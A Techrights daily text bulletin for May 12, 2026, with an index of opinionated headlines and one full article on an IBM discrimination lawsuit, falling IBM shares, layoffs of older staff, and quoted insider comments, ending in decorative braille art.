𝕿𝖊𝖈𝖍𝖗𝖎𝖌𝖍𝖙𝖘 Bulletin for Tuesday, May 12, 2026 ┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅ Generated Wed 13 May 02:49:23 BST 2026 Created by Dr. Roy Schestowitz (𝚛𝚘𝚢 (at) 𝚜𝚌𝚑𝚎𝚜𝚝𝚘𝚠𝚒𝚝𝚣 (dot) 𝚌𝚘𝚖) Full hyperlinks for navigation omitted but are fully available in the originals The corresponding HTML versions are at 𝒕𝒆𝒄𝒉𝒓𝒊𝒈𝒉𝒕𝒔.𝒐𝒓𝒈 Latest in 𝒉𝒕𝒕𝒑://𝒕𝒆𝒄𝒉𝒓𝒊𝒈𝒉𝒕𝒔.𝒐𝒓𝒈/𝒕𝒙𝒕 and older bulletins can be found at 𝒉𝒕𝒕𝒑://𝒕𝒆𝒄𝒉𝒓𝒊𝒈𝒉𝒕𝒔.𝒐𝒓𝒈/𝒕𝒙𝒕-𝒂𝒓𝒄𝒉𝒊𝒗𝒆𝒔 Full IPFS index in 𝒉𝒕𝒕𝒑://𝒕𝒆𝒄𝒉𝒓𝒊𝒈𝒉𝒕𝒔.𝒐𝒓𝒈/𝒊𝒑𝒇𝒔 and as plain text in 𝒉𝒕𝒕𝒑://𝒕𝒆𝒄𝒉𝒓𝒊𝒈𝒉𝒕𝒔.𝒐𝒓𝒈/𝒊𝒑𝒇𝒔/𝒕𝒙𝒕 Gemini index for the day: gemini://gemini.techrights.org/2026/05/12/ ╒═══════════════════ 𝐑𝐄𝐂𝐄𝐍𝐓 𝐁𝐔𝐋𝐋𝐄𝐓𝐈𝐍𝐒 ════════════════════════════════════╕ Previous bulletins in IPFS (past 21 days, in chronological order): QmbHjgPAAcGNUG9Sej4vSKhK8DfUYokfFkXLdKwr1JtGJG QmdLsuRLzrwb58dZaSmJah6oCmNNZ6cW4ick4chqJmHjmY QmTNR3uqcbMYjPAbbHjBqyNJb3ib8kytQvdFnATzkBFVvo QmfCHrqMLfMsHXYnQeAvVuNYt91Zw2AmMJ5mx4RqsrWy3b QmR2rr1yXDANjQBEz2oGtd2UMgy9U37FHdjpUhPfAk7h5z QmWE6ucdKk9Q1pi6ce3ko9xPWd9Y4BjpLij3W7tJ5TMjG3 QmaoEDiALTYYZdaq3SQ86aQpMwUji1nqCeLbXAoszFRYvJ QmSTkZUY74BcgbgqS6JKwwNbVnbzY5uqwpgWtYonGJua8s QmXZcp3rXLYa24pYd7jUu6sPDrhziRCNCok875WLJTLysP QmUE7nd24kx2soZFbSYKDsb1ik1wpirFTRTBhDTj6w9sjh QmdKeWBhfnjgQLYU48wto7DdStpXsB5mE1yEEnWcxQ53vu QmfSnnTnjcAe3YvtRsVgAwUJfpcEk1dM5J5yjJLyv7MxqM QmQ16CkpxBbMzPZ6wZcuKBUcxH1RZ8uAEhcvdBsPRpVZe9 QmT3gTQRv33wEDtJveL8DiqiacGeRaxEbRFDUyVSJEAvDL QmTs9qcwghZPs5oBh9qzsu8a11T4s6xHrJjVNyk5miFy3X Qmdqd6mb8mj27qVvQZRR7sjshrXYYirWm9vRttLkNB5rW6 QmSjY85vxbu9nNFHUMmuK7CxRame2VYuhb523CJaK5zRkj QmZwah9nZHVvSzbJWEAMxumYDpanFPqTahnqoNP83tuZbx QmQWSrGfeYwgf6HE9N3742DJrJwq8uNSCUAz469CnuUFGe QmcgTTyseF5zFd4MLquM4PtJZzkFcBEqaUbqDe4eaUx6Na QmZMEFKvpgvjxAcV9Pwu7yF74LYZwS7ktdLFdYb988Ncfu ╒═══════════════════ 𝐈𝐍𝐃𝐄𝐗 ═══════════════════════════════════════════════════╕ ⦿ Techrights - Another Discrimination Lawsuit Against IBM and Workers Say IBM Culls Older Workers (Just Like Microsoft) ⦿ Techrights - Beehiiv and Substack Are Platform Lock-in (Similar to Vendor Lock-in), Don't Use Beehiiv and Substack (and the Likes of These) ⦿ Techrights - GAFAM (Microsoft) "Cloud Computing" Means Another Country's Military Accesses All Your Data ⦿ Techrights - Gitlab is in Trouble and Its Shares Have Collapsed ⦿ Techrights - GitLab the Latest Company to Do Mass Layoffs and Use Slop as the Go-to Excuse (GitLab Users Should Worry Too) ⦿ Techrights - Google "Hey Hi" (Slop) Having a Stroke, Thinks I am Married to the Grandmother of My Grandfather ⦿ Techrights - IBM Falls to One-year Low ⦿ Techrights - IBM Lost Nearly 33% in "Value" in 3 Months (Shares Down $100), But Nobody Held Accountable ⦿ Techrights - If IBM Suddenly Vanished in the 1980s, There Would be Chaos. Not Anymore. ⦿ Techrights - In Croatia, Microsoft Windows Share Sank From 98% to All-Time Low of 67% (or 28% If One Counts Android) ⦿ Techrights - IRC Proceedings: Monday, May 11, 2026 ⦿ Techrights - Jim Zemlin/Linux Foundation Selling Anthropic Slop After Getting Bribed for Slop Marketing ('Linux' Foundation is a Pay-to-Say For-Profit Marketing Company That Buys and Manipulates the Media Based on False Pretences) ⦿ Techrights - Microsoft: Mass Layoffs Are "Offers" (Like "Job Offers"), Culling Experienced and Highly-Paid Staff is "Softer Workforce-reduction Strategy" ⦿ Techrights - Over at Tux Machines... ⦿ Techrights - Richard Stallman to Give Public Talk in Erlangen, Germany (Next European Tour) ⦿ Techrights - SLAPP Censorship - Part 74 Out of 200: The Basis of My Lawsuit Against Alex Graveley, Who Helps Garrett Stack the Docket in Another Continent ⦿ Techrights - SLAPP Censorship - Part 75 Out of 200: All True, All Verifiable, Unlike Garrett and Graveley Lying to at Least Three High Court Judges About What They Did ⦿ Techrights - statCounter Cannot 'See' Chinese Operating Systems That Gain Many Millions of Users Per Month ⦿ Techrights - Technology Not Meant to Last ⦿ Techrights - Techrights at 19.5 (We Started in 2006, Days After the Microsoft/Novell Deal) ⦿ Techrights - The Corrupt Lecture the Non-Corrupt - Part XX - EPO Management's Unified (One) Voice or Policy is, Doing Cocaine is OK When You're a Friend and/or Family of President Campinos ⦿ Techrights - The Corrupt Lecture the Non-Corrupt - Part XXI - EPO President Campinos Bribing to Buy His Seat, But Cautions Staff Against Bribery ⦿ Techrights - The Slop-Amplified Fear of Privilege Escalation (Local, Not Remote) in Linux, the Kernel ⦿ Techrights - Under IBM, Mass Layoffs at Red Hat No Better Than Oracle Under Larry Ellison (Treating Workers Like Disposables - Even Enemies - Overnight) ⦿ Techrights - Update on Slop About "Linux" ䷼ Bulletin articles (as HTML) to comment on (requires login): https://techrights.org/n/2026/05/12/Another_Discrimination_Lawsuit_Against_IBM_and_Workers_Say_IBM_.shtml https://techrights.org/n/2026/05/12/Beehiiv_and_Substack_Are_Platform_Lock_in_Similar_to_Vendor_Loc.shtml https://techrights.org/n/2026/05/12/GAFAM_Microsoft_Cloud_Computing_Means_Another_Country_s_Militar.shtml https://techrights.org/n/2026/05/12/Gitlab_is_in_Trouble_and_Its_Shares_Have_Collapsed.shtml https://techrights.org/n/2026/05/12/GitLab_the_Latest_Company_to_Do_Mass_Layoffs_and_Use_Slop_as_th.shtml https://techrights.org/n/2026/05/12/Google_Hey_Hi_Slop_Having_a_Stroke_Thinks_I_am_Married_to_the_G.shtml https://techrights.org/n/2026/05/12/IBM_Falls_to_One_year_Low.shtml https://techrights.org/n/2026/05/12/IBM_Lost_Nearly_33_in_Value_in_3_Months_Shares_Down_100_But_Nob.shtml https://techrights.org/n/2026/05/12/If_IBM_Suddenly_Vanished_in_the_1980s_There_Would_be_Chaos_Not_.shtml https://techrights.org/n/2026/05/12/In_Croatia_Microsoft_Windows_Share_Sank_From_98_to_All_Time_Low.shtml https://techrights.org/n/2026/05/12/IRC_Proceedings_Monday_May_11_2026.shtml https://techrights.org/n/2026/05/12/Jim_Zemlin_Linux_Foundation_Selling_Anthropic_Slop_After_Gettin.shtml https://techrights.org/n/2026/05/12/Microsoft_Mass_Layoffs_Are_Offers_Like_Job_Offers_Culling_Exper.shtml https://techrights.org/n/2026/05/12/Over_at_Tux_Machines.shtml https://techrights.org/n/2026/05/12/Richard_Stallman_to_Give_Public_Talk_in_Erlangen_Germany_Next_E.shtml https://techrights.org/n/2026/05/12/SLAPP_Censorship_Part_74_Out_of_200_The_Basis_of_My_Lawsuit_Aga.shtml https://techrights.org/n/2026/05/12/SLAPP_Censorship_Part_75_Out_of_200_All_True_All_Verifiable_Unl.shtml https://techrights.org/n/2026/05/12/statCounter_Cannot_See_Chinese_Operating_Systems_That_Gain_Many.shtml https://techrights.org/n/2026/05/12/Technology_Not_Meant_to_Last.shtml https://techrights.org/n/2026/05/12/Techrights_at_19_5_We_Started_in_2006_Days_After_the_Microsoft_.shtml https://techrights.org/n/2026/05/12/The_Corrupt_Lecture_the_Non_Corrupt_Part_XX_EPO_Management_s_Un.shtml https://techrights.org/n/2026/05/12/The_Corrupt_Lecture_the_Non_Corrupt_Part_XXI_EPO_President_Camp.shtml https://techrights.org/n/2026/05/12/The_Slop_Amplified_Fear_of_Privilege_Escalation_Local_Not_Remot.shtml https://techrights.org/n/2026/05/12/Under_IBM_Mass_Layoffs_at_Red_Hat_No_Better_Than_Oracle_Under_L.shtml https://techrights.org/n/2026/05/12/Update_on_Slop_About_Linux.shtml ䷞ Followed by Daily Links (assorted news picks curated and categorised): https://techrights.org/n/2026/05/12/Gemini_Links_12_05_2026_Android_Nostalgia_and_Switching_to_Guix.shtml https://techrights.org/n/2026/05/12/Gemini_Links_12_05_2026_On_Astronomy_and_Stargazing_Coyote_Time.shtml https://techrights.org/n/2026/05/12/Gemini_Links_12_05_2026_Spring_Cleaning_and_New_GemText_Softwar.shtml https://techrights.org/n/2026/05/12/Links_12_05_2026_Data_Centres_Destroying_Neighbourhoods_Care_Wo.shtml https://techrights.org/n/2026/05/12/Links_12_05_2026_Samsung_Sued_by_Dua_Lipa_Publicity_Rights_Sava.shtml ䷩ 𝚕𝚒𝚗𝚎 123 ╒═══════════════════ 𝐀𝐑𝐓𝐈𝐂𝐋𝐄 ═════════════════════════════════════════════════╕ (ℹ) Images, hyperlinks and comments at https://techrights.org/n/2026/05/12/Another_Discrimination_Lawsuit_Against_IBM_and_Workers_Say_IBM_.shtml Gemini version at gemini://gemini.techrights.org/n/2026/05/12/Another_Discrimination_Lawsuit_Against_IBM_and_Workers_Say_IBM_.gmi ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ Another Discrimination Lawsuit Against IBM and Workers Say IBM Culls Older Workers (Just Like Microsoft)⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026 At Microsoft, more so in the US this year, people are offered several_months' salary_to_leave_if_they_are_"old" (over_40) Nearly a new 52-low some hours ago: (IBM Common Stock) 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇IBM Common Stock⦈ People still leaving, e.g.: 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇With a heart full of gratitude, today marks my last working day with IBM India, closing a joyful 4-year journey at a truly Great Place to Work.⦈ We're still trying to get a whiff and/or sniff, seeing what IBM insiders think of the company. As one person put_it_yesterday: "As goes Kyndryl so goes IBM Consulting. Both rely on cheap labor to make a buck on unsustainable contracts. It’s a dog eat dog world in the commodity labor marketplace. IBM has a slight advantage here in that they can leverage their monopoly (mainframe) power, along with their recent SW purchases to enhance the contract engagement pool, but the handwriting is on the wall. Cut labor costs or face the wrath of wall street. Kyndryl is indicating that they need to reduce costs by 15-18% to essentially break even. YEP those costs short term come out of labor. IBM consulting will follow suit as they are graded quarter to quarter, and the AI labor saving initiatives only enhance automation thus reducing headcount. No matter how you slice it, labor will be reduced as automation takes over. [...]" This was followed by criticism of slop at IBM (Bob as a mere wrapper for LLMs): AI, AI…. What a joke! Especially for coding. I gave 10 different coding assignments to both Claude and Bob as I wanted to compare since Bob is supposedly based on Claude. They overall both failed miserably. Only for two of the assignments I got code that was actually working and the quality of the code was less than stellar. So, what is the point? Yet tech jobs in the US are dropping like flies. I bet the CS degrees at the US universities are going to see a lot less enrollments going forward with that AI cr-p! This was followed by comments entertaining an obnoxious troll who attempts to vex lurkers and posters alike. One response spoke of Gertsner_in_response_to repeated_provocation: "Matthew 16:26: "What does it profit a man to gain the whole world but lose his soul?" Gertsner did not save us at all - he sold our soul to McKinsey. IBM is now nothing but a garden variety WITCH company completely incapable of innovation, a company that lost its soul a long time ago, as vampires at the top feed off its forever dying corpse." However, the more interesting comments spoke_of_this_news about a_new_lawsuit. People were quick to point out that age, not race, was the likely issue: 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇IBM Lawsuit Over Black Executive Layoffs Tests Governance And ESG Story⦈ The article in question focuses on race: 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇IBM Lawsuit Over Black Executive Layoffs Tests Governance And ESG Story⦈ IBM has a "difficult history" with blacks: The_Full_Story_(With_References)_of IBM's_Role_in_a_Purge_of_Black_People_and_Mixed-Race_Couples The pattern there seems clear. Getting promoted or becoming more experienced (i.e. more expensive) is a "mistake": 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇Your mistake was to get to B10. This is death row at IBM or the end of your career as you found out fairly quickly.⦈ If IBM fails to retain some of the smartest people, then what is the future of IBM? Trying to replace real workers with mediocre slop and then offloading those tasks to slop operators on a very small salary? A company cannot compete on those terms. Hours ago there was gossip about a man who may have been "too_smart_to_stick around": 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇ismael faaro : vp in ai foundations fired or resigned?⦈ This whole page might soon get nuked for containing the full name of a person. █ * Gemini_Links_12/05/2026:_Android_Nostalgia_and_Switching_to_Guix * GAFAM_(Microsoft)_"Cloud_Computing"_Means_Another_Country's_Military Accesses_All_Your_Data ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠉ ⣿⣿⣾⢇⣿⡾⣺⣷⣛⢿⣿⣗⣛⢿⣘⡻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀ ⣿⣿⣽⣿⣯⣾⣿⣮⣭⣾⣽⣯⣯⣾⣽⣧⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀ 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⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⢀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⡀⠀⠀⠀ ⣿⣿⣿⣿⠿⠿⠿⢿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⡿⣿⣿⣿⡿⢿⣿⣿⡿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢿⣿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀ ⣿⣿⡿⠁⠀⠀⠀⠀⠘⣿⣏⣄⣫⣀⣀⣂⣀⣆⣀⣇⣂⣸⣜⣡⣃⠌⣆⣃⣺⣯⣇⣹⣁⣩⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣾⣷⣦⣤⣤⣬⣤⣤⣿⣿⣿⣶⣷⣿⣿⣿⠀⠀⠀ ⣿⣿⣇⠀⠀⠀⠀⠀⠀⣿⣇⣈⣉⣉⣉⣙⣍⣉⣇⣾⣋⣍⣁⣉⣹⣍⣉⣙⣈⣩⣹⢸⣠⣀⣙⣏⣊⣉⣽⣉⣹⣉⣅⢉⢻⣀⣉⣈⣉⢉⣹⣉⣉⣏⣙⣛⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀ ⣿⣿⣿⣦⡀⠀⠀⣀⣴⣿⣯⣙⣅⣹⣹⡡⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀ ⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀ ⣿⣿⡿⠿⢿⢿⠿⠻⠿⠿⢿⠿⠻⠻⢿⠿⠻⡿⠿⠿⠿⠿⣿⣿⠟⠿⣿⠿⠿⣿⠿⠻⠻⣿⠟⠿⠿⠿⣿⠿⠿⠿⠟⠿⡿⠟⠿⣿⢿⠿⠟⡿⠿⠟⠿⠻⢿⠛⠿⢿⠿⠿⠿⣿⣿⡿⠿⠿⢿⠿⢿⣿⣿⣿⣿⠀⠀⠀ ⣿⣿⣷⣮⣼⣼⣮⣴⣽⣴⣼⣯⣼⣬⣼⣮⣼⣮⣬⣤⣦⣮⣯⣽⣤⣮⣿⣴⣵⣧⣾⣤⣼⣿⣥⣤⣦⣨⣾⣁⣼⣤⣤⣬⣥⣤⣦⣷⣽⣧⣤⣇⣵⣧⣮⣤⣼⣴⣵⣿⣬⣧⣤⣿⣭⣥⣿⣤⣴⣧⣼⣿⣿⣿⣿⠀⠀⠀ ⣿⣿⡟⠉⠋⡙⠉⢹⡛⡿⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣛⣿⢟⢛⢛⡻⠛⡻⠻⡛⢛⢻⣿⣿⠀⠀⠀ ⣿⣿⣷⣶⣶⣶⣶⣾⣷⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣾⣿⣷⣶⣾⣷⣶⣿⣶⣷⣶⣾⣿⣿⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⡟⣈⢻⠹⢿⠻⠛⣿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠉⡟⠭⠛⢛⡛⠛⡟⠛⠛⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⡩⡜⡏⠹⠛⠛⠻⠛⠏⣿⣿⣿⣿⣿⣿⣿⣿⣿⣋⢩⡿⠉⢛⠛⠻⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣷⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀ ⠈⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⠁⠀⠀⠀ ⣾⣿⣿⣿⡿⠿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢿⣿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⠀⠀⠀ ⣿⣿⡿⠁⠀⠀⠀⠀⠙⣿⣇⣜⣉⣙⣉⣅⣩⣹⣢⣂⣙⣉⣨⣹⡀⢅⣿⣻⣏⣍⣉⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣾⣯⣅⣪⣀⣐⣌⣄⣿⣿⣿⣶⣷⣿⣿⣿⠀⠀⠀ ⣿⣿⡇⠀⠀⠀⠀⠀⠀⣿⡯⠉⠉⠉⢝⢹⠉⠹⠉⢩⠋⠋⠉⣏⢋⠋⢫⠋⠩⣿⡯⠉⠉⠉⠙⢹⠭⠏⠉⠯⣫⡝⢙⣽⡩⡻⣯⠉⠉⢫⢹⣿⠭⠙⡹⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀ ⣿⣿⣿⣄⠀⠀⠀⢀⣠⣿⣿⠉⠉⢻⣻⢉⠋⠙⠛⠋⣟⡏⡀⢹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀ ⣿⣿⣿⣿⣿⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀ ⣿⣿⣇⣈⣝⣁⣻⣋⣋⣃⣉⢻⣀⣏⣙⣉⣩⣃⡝⣟⣋⣍⣁⣇⣅⣉⣉⣹⣀⣈⣉⢹⣯⣉⣁⣩⣏⢉⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀ ⣿⣿⡿⠿⣿⣿⣿⣿⢿⣿⣿⡿⠿⣿⣿⡿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀ ⣿⣿⣧⣧⣦⣤⣦⣼⣤⣼⣤⣧⣅⣬⣤⣤⣤⣿⣬⣵⣰⣤⣤⣘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀ 